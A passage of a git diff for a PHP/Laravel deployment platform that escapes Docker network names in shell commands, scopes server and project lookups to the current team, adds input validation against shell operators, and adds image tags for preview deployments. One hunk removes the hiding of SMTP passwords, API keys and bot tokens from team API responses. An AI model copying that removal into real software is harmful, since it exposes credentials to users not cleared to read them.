'server_disk_usage_check_frequency' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -691,6 +701,19 @@ public function update_server(Request $request) 'is_build_server' => $request->is_build_server, ]); } + + if ($request->has('server_disk_usage_check_frequency') && ! validate_cron_expression($request->server_disk_usage_check_frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['server_disk_usage_check_frequency' => ['Invalid Cron / Human expression for Disk Usage Check Frequency.']], + ], 422); + } + + $advancedSettings = $request->only(['concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']); + if (! empty($advancedSettings)) { + $server->settings()->update(array_filter($advancedSettings, fn ($value) => ! is_null($value))); + } + if ($request->instant_validate) { ValidateServer::dispatch($server); } diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index fbf4b9e56..6a742fe1b 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -432,7 +432,7 @@ public function create_service(Request $request) if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($servicePayload, 'connect_to_docker_network', true); } - $service = Service::create($servicePayload); + $service = Service::forceCreate($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; if ($request->has('is_container_label_escape_enabled')) { diff --git a/app/Http/Controllers/Api/TeamController.php b/app/Http/Controllers/Api/TeamController.php index fd0282d96..03b36e4e0 100644 --- a/app/Http/Controllers/Api/TeamController.php +++ b/app/Http/Controllers/Api/TeamController.php @@ -14,14 +14,6 @@ private function removeSensitiveData($team) 'custom_server_limit', 'pivot', ]); - if (request()->attributes->get('can_read_sensitive', false) === false) { - $team->makeHidden([ - 'smtp_username', - 'smtp_password', - 'resend_api_key', - 'telegram_token', - ]); - } return serializeApiResponse($team); } diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index 183186711..e59bc6ead 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -119,7 +119,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -128,7 +128,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index a9d65eae6..6ba4b33cf 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -144,7 +144,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -153,7 +153,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 08e5d7162..fe4f17d9e 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -177,7 +177,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -186,7 +186,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 785e8c8e3..833e6bfe8 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -76,6 +76,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private ?string $dockerImageTag = null; + private ?string $dockerImagePreviewTag = null; + private GithubApp|GitlabApp|string $source = 'other'; private StandaloneDocker|SwarmDocker $destination; @@ -208,6 +210,7 @@ public function __construct(public int $application_deployment_queue_id) $this->restart_only = $this->application_deployment_queue->restart_only; $this->restart_only = $this->restart_only && $this->application->build_pack !== 'dockerimage' && $this->application->build_pack !== 'dockerfile'; $this->only_this_server = $this->application_deployment_queue->only_this_server; + $this->dockerImagePreviewTag = $this->application_deployment_queue->docker_registry_image_tag; $this->git_type = data_get($this->application_deployment_queue, 'git_type'); @@ -246,6 +249,9 @@ public function __construct(public int $application_deployment_queue_id) // Set preview fqdn if ($this->pull_request_id !== 0) { $this->preview = ApplicationPreview::findPreviewByApplicationAndPullId($this->application->id, $this->pull_request_id); + if ($this->application->build_pack === 'dockerimage' && str($this->dockerImagePreviewTag)->isEmpty()) { + $this->dockerImagePreviewTag = $this->preview?->docker_registry_image_tag; + } if ($this->preview) { if ($this->application->build_pack === 'dockercompose') { $this->preview->generate_preview_fqdn_compose(); @@ -288,7 +294,8 @@ public function handle(): void // Make sure the private key is stored in the filesystem $this->server->privateKey->storeInFileSystem(); // Generate custom host<->ip mapping - $allContainers = instant_remote_process(["docker network inspect {$this->destination->network} -f '{{json .Containers}}' "], $this->server); + $safeNetwork = escapeshellarg($this->destination->network); + $allContainers = instant_remote_process(["docker network inspect {$safeNetwork} -f '{{json .Containers}}' "], $this->server); if (! is_null($allContainers)) { $allContainers = format_docker_command_output_to_json($allContainers); @@ -465,14 +472,14 @@ private function decide_what_to_do() $this->just_restart(); return; + } elseif ($this->application->build_pack === 'dockerimage') { + $this->deploy_dockerimage_buildpack(); } elseif ($this->pull_request_id !== 0) { $this->deploy_pull_request(); } elseif ($this->application->dockerfile) { $this->deploy_simple_dockerfile(); } elseif ($this->application->build_pack === 'dockercompose') { $this->deploy_docker_compose_buildpack(); - } elseif ($this->application->build_pack === 'dockerimage') { - $this->deploy_dockerimage_buildpack(); } elseif ($this->application->build_pack === 'dockerfile') { $this->deploy_dockerfile_buildpack(); } elseif ($this->application->build_pack === 'static') { @@ -553,11 +560,7 @@ private function deploy_simple_dockerfile() private function deploy_dockerimage_buildpack() { $this->dockerImage = $this->application->docker_registry_image_name; - if (str($this->application->docker_registry_image_tag)->isEmpty()) { - $this->dockerImageTag = 'latest'; - } else { - $this->dockerImageTag = $this->application->docker_registry_image_tag; - } + $this->dockerImageTag = $this->resolveDockerImageTag(); // Check if this is an image hash deployment $isImageHash = str($this->dockerImageTag)->startsWith('sha256-'); @@ -574,6 +577,19 @@ private function deploy_dockerimage_buildpack() $this->rolling_update(); } + private function resolveDockerImageTag(): string + { + if ($this->pull_request_id !== 0 && str($this->dockerImagePreviewTag)->isNotEmpty()) { + return $this->dockerImagePreviewTag; + } + + if (str($this->application->docker_registry_image_tag)->isNotEmpty()) { + return $this->application->docker_registry_image_tag; + } + + return 'latest'; + } + private function deploy_docker_compose_buildpack() { if (data_get($this->application, 'docker_compose_location')) { @@ -1933,6 +1949,11 @@ private function query_logs() private function deploy_pull_request() { + if ($this->application->build_pack === 'dockerimage') { + $this->deploy_dockerimage_buildpack(); + + return; + } if ($this->application->build_pack === 'dockercompose') { $this->deploy_docker_compose_buildpack(); @@ -2015,9 +2036,11 @@ private function prepare_builder_image(bool $firstTry = true) $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { if ($this->dockerConfigFileExists === 'OK') { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } } if ($firstTry) { @@ -3046,28 +3069,29 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack + $safeNetwork = escapeshellarg($this->destination->network); if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 7f1feaa21..a2d08e1e8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -678,6 +678,7 @@ private function upload_to_s3(): void } else { $network = $this->database->destination->network; } + $safeNetwork = escapeshellarg($network); $fullImageName = $this->getFullImageName(); @@ -689,13 +690,13 @@ private function upload_to_s3(): void if (isDev()) { if ($this->database->name === 'coolify-db') { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/coolify/coolify-db-'.$this->server->ip.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } else { $backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/databases/'.str($this->team->name)->slug().'-'.$this->team->id.'/'.$this->directory_name.$this->backup_file; - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}"; } } else { - $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; + $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}"; } // Escape S3 credentials to prevent command injection diff --git a/app/Jobs/ProcessGithubPullRequestWebhook.php b/app/Jobs/ProcessGithubPullRequestWebhook.php index 041cd812c..01a512439 100644 --- a/app/Jobs/ProcessGithubPullRequestWebhook.php +++ b/app/Jobs/ProcessGithubPullRequestWebhook.php @@ -118,7 +118,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp if (! $found) { if ($application->build_pack === 'dockercompose') { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, @@ -127,7 +127,7 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp ]); $preview->generate_preview_fqdn_compose(); } else { - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'git_type' => 'github', 'application_id' => $application->id, 'pull_request_id' => $this->pullRequestId, diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index 0f6f45d83..170f0cdea 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -9,6 +9,7 @@ use App\Models\Team; use App\Services\ConfigurationRepository; use Illuminate\Support\Collection; +use Livewire\Attributes\Url; use Livewire\Component; use Visus\Cuid2\Cuid2; @@ -19,18 +20,18 @@ class Index extends Component 'prerequisitesInstalled' => 'handlePrerequisitesInstalled', ]; - #[\Livewire\Attributes\Url(as: 'step', history: true)] + #[Url(as: 'step', history: true)] public string $currentState = 'welcome'; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?string $selectedServerType = null; public ?Collection $privateKeys = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedExistingPrivateKey = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?string $privateKeyType = null; public ?string $privateKey = null; @@ -45,7 +46,7 @@ class Index extends Component public ?Collection $servers = null; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedExistingServer = null; public ?string $remoteServerName = null; @@ -66,7 +67,7 @@ class Index extends Component public Collection $projects; - #[\Livewire\Attributes\Url(keep: true)] + #[Url(keep: true)] public ?int $selectedProject = null; public ?Project $createdProject = null; @@ -121,7 +122,7 @@ public function mount() } if ($this->selectedExistingServer) { - $this->createdServer = Server::find($this->selectedExistingServer); + $this->createdServer = Server::ownedByCurrentTeam()->find($this->selectedExistingServer); if ($this->createdServer) { $this->serverPublicKey = $this->createdServer->privateKey->getPublicKey(); $this->updateServerDetails(); @@ -145,7 +146,7 @@ public function mount() } if ($this->selectedProject) { - $this->createdProject = Project::find($this->selectedProject); + $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); if (! $this->createdProject) { $this->projects = Project::ownedByCurrentTeam(['name'])->get(); } @@ -431,13 +432,16 @@ public function getProjects() public function selectExistingProject() { - $this->createdProject = Project::find($this->selectedProject); + $this->createdProject = Project::ownedByCurrentTeam()->find($this->selectedProject); + if (! $this->createdProject) { + return $this->dispatch('error', 'Project not found.'); + } $this->currentState = 'create-resource'; } public function createNewProject() { - $this->createdProject = Project::create([ + $this->createdProject = Project::forceCreate([ 'name' => 'My first project', 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Destination/New/Docker.php b/app/Livewire/Destination/New/Docker.php index 70751fa03..141235590 100644 --- a/app/Livewire/Destination/New/Docker.php +++ b/app/Livewire/Destination/New/Docker.php @@ -24,7 +24,7 @@ class Docker extends Component #[Validate(['required', 'string'])] public string $name; - #[Validate(['required', 'string'])] + #[Validate(['required', 'string', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['required', 'string'])] @@ -77,7 +77,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = SwarmDocker::create([ + $docker = SwarmDocker::forceCreate([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, @@ -88,7 +88,7 @@ public function submit() if ($found) { throw new \Exception('Network already added to this server.'); } else { - $docker = StandaloneDocker::create([ + $docker = StandaloneDocker::forceCreate([ 'name' => $this->name, 'network' => $this->network, 'server_id' => $this->selectedServer->id, diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index 98cf72376..f2cdad074 100644 --- a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -20,7 +20,7 @@ class Show extends Component #[Validate(['string', 'required'])] public string $name; - #[Validate(['string', 'required'])] + #[Validate(['string', 'required', 'max:255', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'])] public string $network; #[Validate(['string', 'required'])] @@ -84,8 +84,9 @@ public function delete() if ($this->destination->attachedTo()) { return $this->dispatch('error', 'You must delete all resources before deleting this destination.'); } - instant_remote_process(["docker network disconnect {$this->destination->network} coolify-proxy"], $this->destination->server, throwError: false); - instant_remote_process(['docker network rm -f '.$this->destination->network], $this->destination->server); + $safeNetwork = escapeshellarg($this->destination->network); + instant_remote_process(["docker network disconnect {$safeNetwork} coolify-proxy"], $this->destination->server, throwError: false); + instant_remote_process(["docker network rm -f {$safeNetwork}"], $this->destination->server); } $this->destination->delete(); diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index f910110dc..154748b47 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -1203,7 +1203,7 @@ public function selectServer($serverId, $shouldProgress = true) public function loadDestinations() { $this->loadingDestinations = true; - $server = Server::find($this->selectedServerId); + $server = Server::ownedByCurrentTeam()->find($this->selectedServerId); if (! $server) { $this->loadingDestinations = false; @@ -1280,7 +1280,7 @@ public function selectProject($projectUuid, $shouldProgress = true) public function loadEnvironments() { $this->loadingEnvironments = true; - $project = Project::where('uuid', $this->selectedProjectUuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->selectedProjectUuid)->first(); if (! $project) { $this->loadingEnvironments = false; diff --git a/app/Livewire/Notifications/Email.php b/app/Livewire/Notifications/Email.php index 847f10765..364163ff8 100644 --- a/app/Livewire/Notifications/Email.php +++ b/app/Livewire/Notifications/Email.php @@ -42,7 +42,7 @@ class Email extends Component public ?string $smtpHost = null; #[Validate(['nullable', 'numeric', 'min:1', 'max:65535'])] - public ?int $smtpPort = null; + public ?string $smtpPort = null; #[Validate(['nullable', 'string', 'in:starttls,tls,none'])] public ?string $smtpEncryption = null; @@ -54,7 +54,7 @@ class Email extends Component public ?string $smtpPassword = null; #[Validate(['nullable', 'numeric'])] - public ?int $smtpTimeout = null; + public ?string $smtpTimeout = null; #[Validate(['boolean'])] public bool $resendEnabled = false; diff --git a/app/Livewire/Project/AddEmpty.php b/app/Livewire/Project/AddEmpty.php index 974f0608a..a2581a5c9 100644 --- a/app/Livewire/Project/AddEmpty.php +++ b/app/Livewire/Project/AddEmpty.php @@ -30,7 +30,7 @@ public function submit() { try { $this->validate(); - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $this->name, 'description' => $this->description, 'team_id' => currentTeam()->id, diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 5c186af70..25ce82eb0 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -146,15 +146,15 @@ protected function rules(): array 'gitRepository' => 'required', 'gitBranch' => 'required', 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], - 'installCommand' => 'nullable', - 'buildCommand' => 'nullable', - 'startCommand' => 'nullable', + 'installCommand' => ValidationPatterns::shellSafeCommandRules(), + 'buildCommand' => ValidationPatterns::shellSafeCommandRules(), + 'startCommand' => ValidationPatterns::shellSafeCommandRules(), 'buildPack' => 'required', 'staticImage' => 'required', 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), 'publishDirectory' => ValidationPatterns::directoryPathRules(), - 'portsExposes' => 'required', - 'portsMappings' => 'nullable', + 'portsExposes' => ['required', 'string', 'regex:/^(\d+)(,\d+)*$/'], + 'portsMappings' => ValidationPatterns::portMappingRules(), 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', @@ -200,6 +200,9 @@ protected function messages(): array 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', @@ -209,6 +212,8 @@ protected function messages(): array 'staticImage.required' => 'The Static Image field is required.', 'baseDirectory.required' => 'The Base Directory field is required.', 'portsExposes.required' => 'The Exposed Ports field is required.', + 'portsExposes.regex' => 'Ports exposes must be a comma-separated list of port numbers (e.g. 3000,3001).', + ...ValidationPatterns::portMappingMessages(), 'isStatic.required' => 'The Static setting is required.', 'isStatic.boolean' => 'The Static setting must be true or false.', 'isSpa.required' => 'The SPA setting is required.', @@ -732,6 +737,7 @@ public function setRedirect() $this->authorize('update', $this->application); try { + $this->application->redirect = $this->redirect; $has_www = collect($this->application->fqdns)->filter(fn ($fqdn) => str($fqdn)->contains('www.'))->count(); if ($has_www === 0 && $this->application->redirect === 'www') { $this->dispatch('error', 'You want to redirect to www, but you do not have a www domain set.

Please add www to your domain list and as an A DNS record (if applicable).'); @@ -752,6 +758,12 @@ public function submit($showToaster = true) $this->authorize('update', $this->application); $this->resetErrorBag(); + + $this->portsExposes = str($this->portsExposes)->replace(' ', '')->trim()->toString(); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } + $this->validate(); $oldPortsExposes = $this->application->ports_exposes; diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index 41f352c14..c61a4e4a7 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -35,8 +35,17 @@ class Previews extends Component public array $previewFqdns = []; + public array $previewDockerTags = []; + + public ?int $manualPullRequestId = null; + + public ?string $manualDockerTag = null; + protected $rules = [ 'previewFqdns.*' => 'string|nullable', + 'previewDockerTags.*' => 'string|nullable', + 'manualPullRequestId' => 'integer|min:1|nullable', + 'manualDockerTag' => 'string|nullable', ]; public function mount() @@ -53,12 +62,17 @@ private function syncData(bool $toModel = false): void $preview = $this->application->previews->get($key); if ($preview) { $preview->fqdn = $fqdn; + if ($this->application->build_pack === 'dockerimage') { + $preview->docker_registry_image_tag = $this->previewDockerTags[$key] ?? null; + } } } } else { $this->previewFqdns = []; + $this->previewDockerTags = []; foreach ($this->application->previews as $key => $preview) { $this->previewFqdns[$key] = $preview->fqdn; + $this->previewDockerTags[$key] = $preview->docker_registry_image_tag; } } } @@ -174,7 +188,7 @@ public function generate_preview($preview_id) } } - public function add(int $pull_request_id, ?string $pull_request_html_url = null) + public function add(int $pull_request_id, ?string $pull_request_html_url = null, ?string $docker_registry_image_tag = null) { try { $this->authorize('update', $this->application); @@ -182,7 +196,7 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::create([ + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, 'pull_request_html_url' => $pull_request_html_url, @@ -195,13 +209,18 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) } else { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); - if (! $found && ! is_null($pull_request_html_url)) { - $found = ApplicationPreview::create([ + if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, - 'pull_request_html_url' => $pull_request_html_url, + 'pull_request_html_url' => $pull_request_html_url ?? '', + 'docker_registry_image_tag' => $docker_registry_image_tag, ]); } + if ($found && $this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()) { + $found->docker_registry_image_tag = $docker_registry_image_tag; + $found->save(); + } $found->generate_preview_fqdn(); $this->application->refresh(); $this->syncData(false); @@ -217,37 +236,50 @@ public function force_deploy_without_cache(int $pull_request_id, ?string $pull_r { $this->authorize('deploy', $this->application); - $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: true); + $dockerRegistryImageTag = null; + if ($this->application->build_pack === 'dockerimage') { + $dockerRegistryImageTag = $this->application->previews() + ->where('pull_request_id', $pull_request_id) + ->value('docker_registry_image_tag'); + } + + $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: true, docker_registry_image_tag: $dockerRegistryImageTag); } - public function add_and_deploy(int $pull_request_id, ?string $pull_request_html_url = null) + public function add_and_deploy(int $pull_request_id, ?string $pull_request_html_url = null, ?string $docker_registry_image_tag = null) { $this->authorize('deploy', $this->application); - $this->add($pull_request_id, $pull_request_html_url); - $this->deploy($pull_request_id, $pull_request_html_url); + $this->add($pull_request_id, $pull_request_html_url, $docker_registry_image_tag); + $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: false, docker_registry_image_tag: $docker_registry_image_tag); } - public function deploy(int $pull_request_id, ?string $pull_request_html_url = null, bool $force_rebuild = false) + public function deploy(int $pull_request_id, ?string $pull_request_html_url = null, bool $force_rebuild = false, ?string $docker_registry_image_tag = null) { $this->authorize('deploy', $this->application); try { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); - if (! $found && ! is_null($pull_request_html_url)) { - ApplicationPreview::create([ + if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { + $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, - 'pull_request_html_url' => $pull_request_html_url, + 'pull_request_html_url' => $pull_request_html_url ?? '', + 'docker_registry_image_tag' => $docker_registry_image_tag, ]); } + if ($found && $this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()) { + $found->docker_registry_image_tag = $docker_registry_image_tag; + $found->save(); + } $result = queue_application_deployment( application: $this->application, deployment_uuid: $this->deployment_uuid, 